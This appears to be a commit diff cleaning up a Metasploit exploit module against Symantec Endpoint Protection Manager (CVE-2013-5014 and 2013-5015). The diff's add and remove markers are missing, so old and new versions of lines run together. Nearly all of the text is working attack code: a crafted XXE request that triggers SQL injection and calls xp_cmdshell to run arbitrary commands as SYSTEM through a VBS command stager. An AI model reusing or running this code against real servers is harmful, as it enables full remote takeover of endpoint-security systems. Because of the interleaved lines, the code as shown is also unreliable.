Clean up module
parent
5485759353
commit
4908d80d6c
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@ -4,10 +4,12 @@
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##
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require 'msf/core'
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require 'msf/core/exploit/powershell'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include REXML
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include Msf::Exploit::CmdStagerVBS
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include Msf::Exploit::Remote::HttpClient
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@ -16,12 +18,10 @@ class Metasploit3 < Msf::Exploit::Remote
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'Name' => 'Symantec Endpoint Protection Manager Remote Command Execution',
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'Description' => %q{
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This module exploits XXE and SQL injection flaws in Symantec Endpoint Protection Manager
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versions 11.0, 12.0 and 12.1.
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When supplying a specially crafted XXE request to '/servlet/ConsoleServlet?ActionType=ConsoleLog', an
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attacker can request the 'http://127.0.0.1:9090/servlet/ConsoleServlet' url. By injecting arbitrary SQL
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statements into the 'Parameter' parameter further database access is possible. As xp_cmdshell is
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enabled in the included database instance, it's possible to execute arbitrary system commands on the
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remote system with SYSTEM privileges.
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versions 11.0, 12.0 and 12.1. When supplying a specially crafted XXE request an attacker
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can reach SQL injection affected components. As xp_cmdshell is enabled in the included
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database instance, it's possible to execute arbitrary system commands on the remote system
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with SYSTEM privileges.
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},
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'Author' =>
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[
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@ -32,34 +32,28 @@ class Metasploit3 < Msf::Exploit::Remote
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140218-0_Symantec_Endpoint_Protection_Multiple_critical_vulnerabilities_wo_poc_v10.txt' ],
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[ 'EDB', '31853'],
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[ 'CVE', '2013-5014' ],
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[ 'CVE', '2013-5015' ]
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[ 'CVE', '2013-5015' ],
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[ 'EDB', '31853'],
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[ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140218-0_Symantec_Endpoint_Protection_Multiple_critical_vulnerabilities_wo_poc_v10.txt' ]
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],
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'Targets' =>
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'Arch' => ARCH_X86,
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows Universal',
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{
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'Arch' => ARCH_X86,
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'Platform' => 'win'
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}
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]
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['Windows VBS Stager', {}]
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],
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'Privileged' => true,
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'Platform' => 'win',
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'Privileged' => true,
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'DisclosureDate' => 'Feb 24 2014',
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'DefaultTarget' => 0))
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(9090),
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OptBool.new('SSL', [ true, 'Use SSL', false ]),
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OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ])
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OptString.new('TARGETURI', [true, 'The base path', '/'])
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], self.class)
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end
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def check
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res = send_request_cgi(
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{
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@ -67,36 +61,27 @@ class Metasploit3 < Msf::Exploit::Remote
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'method' => 'GET',
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})
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if res and res.code == 200 and res.body =~ /Symantec Endpoint Protection Manager/ and res.body =~ /1995 - 2013 Symantec Corporation/
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if res && res.code == 200 && res.body =~ /Symantec Endpoint Protection Manager/ && res.body =~ /1995 - 2013 Symantec Corporation/
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return Exploit::CheckCode::Appears
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end
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return Exploit::CheckCode::Safe
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Exploit::CheckCode::Safe
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end
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def windows_stager
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# Random exe name
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exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
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print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending payload")
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def exploit
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print_status("#{peer} - Sending payload")
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# Execute the cmdstager, max length of the commands is ~3950
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execute_cmdstager({:linemax => 3950})
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end
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def execute_command(cmd, opts = {})
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# Convert the command data to hex, so we can use that in the xp_cmdshell. Else characters like '>' will be harder to bypass in the XML.
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command = "0x#{Rex::Text.to_hex("cmd /c #{cmd}", '')}"
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# Generate random 'xx032xxxx' sequence number.
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seqnum = "#{rand_text_numeric(2)}032#{rand_text_numeric(4)}"
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soap = %Q|<?xml version=\"1.0\" encoding=\"UTF-8\"?>
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<!DOCTYPE sepm [<!ENTITY payload SYSTEM \"http://127.0.0.1:9090/servlet/ConsoleServlet?ActionType=ConfigServer&action=test_av&SequenceNum=#{seqnum}&Parameter=';call xp_cmdshell(#{command});--\" >]>
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<request>
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<xxe>&payload;</xxe>
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</request>|
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soap = soap_request(seqnum, command)
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post_data = Rex::MIME::Message.new
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post_data.add_part(soap, "text/xml", nil, "form-data; name=\"Content\"")
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@ -112,28 +97,25 @@ class Metasploit3 < Msf::Exploit::Remote
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})
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if res and res.body !~ /ResponseCode/
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fail_with(Failure::Unknown, "#{datastore['RHOST']}:#{datastore['RPORT']} - Something went wrong.")
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fail_with(Failure::Unknown, "#{peer} - Something went wrong.")
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end
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end
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def exploit
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def soap_request(seqnum, command)
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entity = "<!ENTITY payload SYSTEM \"http://127.0.0.1:9090/servlet/ConsoleServlet?ActionType=ConfigServer&action=test_av&SequenceNum=#{seqnum}&Parameter=';call xp_cmdshell(#{command});--\" >"
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if not datastore['CMD'].empty?
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print_status("Executing command '#{datastore['CMD']}'")
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execute_command(datastore['CMD'])
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return
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end
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xml = Document.new
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xml.add(DocType.new('sepm', "[ METASPLOIT ]"))
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xml.add_element("Request")
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xxe = xml.root.add_element("xxe")
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xxe.text = "PAYLOAD"
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case target['Platform']
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when 'win'
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windows_stager
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else
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fail_with(Failure::Unknown, 'Target not supported.')
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end
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handler
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xml_s = xml.to_s
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xml_s.gsub!(/METASPLOIT/, entity) # To avoid html encoding
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xml_s.gsub!(/PAYLOAD/, "&payload;") # To avoid html encoding
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xml_s
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end
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end
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